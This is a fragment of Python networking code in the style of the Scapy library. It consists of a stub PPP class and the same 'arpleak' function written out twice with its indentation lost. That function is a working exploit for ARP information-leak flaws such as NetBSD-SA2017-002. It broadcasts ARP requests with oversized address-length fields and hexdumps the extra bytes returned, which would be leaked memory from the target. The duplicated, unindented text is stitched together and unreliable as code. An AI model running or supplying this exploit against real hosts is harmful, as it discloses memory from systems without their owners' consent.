class PPP_(PPP):
fields_desc = [
ByteEnumField(
"proto", 0x21,
{k: v
for k, v in six.viewitems(_PPP_PROTOCOLS) if k < 0x100}),
]
def arpleak(target, plen=255, hwlen=255, **kargs):
# type: (str, int, int, **Any) -> Tuple[SndRcvList, PacketList]
"""Exploit ARP leak flaws, like NetBSD-SA2017-002.
https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
"""
# We want explicit packets
pkts_iface = {} # type: Dict[str, List[Ether]]
for pkt in ARP(pdst=target):
# We have to do some of Scapy's work since we mess with
# important values
iface = conf.route.route(pkt.pdst)[0]
psrc = get_if_addr(iface)
hwsrc = get_if_hwaddr(iface)
pkt.plen = plen
pkt.hwlen = hwlen
if plen == 4:
pkt.psrc = psrc
else:
pkt.psrc = inet_aton(psrc)[:plen]
pkt.pdst = inet_aton(pkt.pdst)[:plen]
if hwlen == 6:
pkt.hwsrc = hwsrc
else:
pkt.hwsrc = mac2str(hwsrc)[:hwlen]
pkts_iface.setdefault(iface, []).append(
Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
)
ans, unans = SndRcvList(), PacketList(name="Unanswered")
for iface, pkts in viewitems(pkts_iface):
ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
ans += ans_new
unans += unans_new
ans.listname = "Results"
unans.listname = "Unanswered"
for _, rcv in ans:
if ARP not in rcv:
continue
rcv = rcv[ARP]
psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
if plen > 4 and len(psrc) > 4:
print("psrc")
hexdump(psrc[4:])
print()
hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
if hwlen > 6 and len(hwsrc) > 6:
print("hwsrc")
hexdump(hwsrc[6:])
print()
return ans, unans
def arpleak(target, plen=255, hwlen=255, **kargs):
"""Exploit ARP leak flaws, like NetBSD-SA2017-002.
https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
"""
# We want explicit packets
pkts_iface = {}
for pkt in ARP(pdst=target):
# We have to do some of Scapy's work since we mess with
# important values
iface = conf.route.route(pkt.pdst)[0]
psrc = get_if_addr(iface)
hwsrc = get_if_hwaddr(iface)
pkt.plen = plen
pkt.hwlen = hwlen
if plen == 4:
pkt.psrc = psrc
else:
pkt.psrc = inet_aton(psrc)[:plen]
pkt.pdst = inet_aton(pkt.pdst)[:plen]
if hwlen == 6:
pkt.hwsrc = hwsrc
else:
pkt.hwsrc = mac2str(hwsrc)[:hwlen]
pkts_iface.setdefault(iface, []).append(
Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
)
ans, unans = SndRcvList(), PacketList(name="Unanswered")
for iface, pkts in viewitems(pkts_iface):
ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
ans += ans_new
unans += unans_new
ans.listname = "Results"
unans.listname = "Unanswered"
for _, rcv in ans:
if ARP not in rcv:
continue
rcv = rcv[ARP]
psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
if plen > 4 and len(psrc) > 4:
print("psrc")
hexdump(psrc[4:])
print()
hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
if hwlen > 6 and len(hwsrc) > 6:
print("hwsrc")
hexdump(hwsrc[6:])
print()
return ans, unans
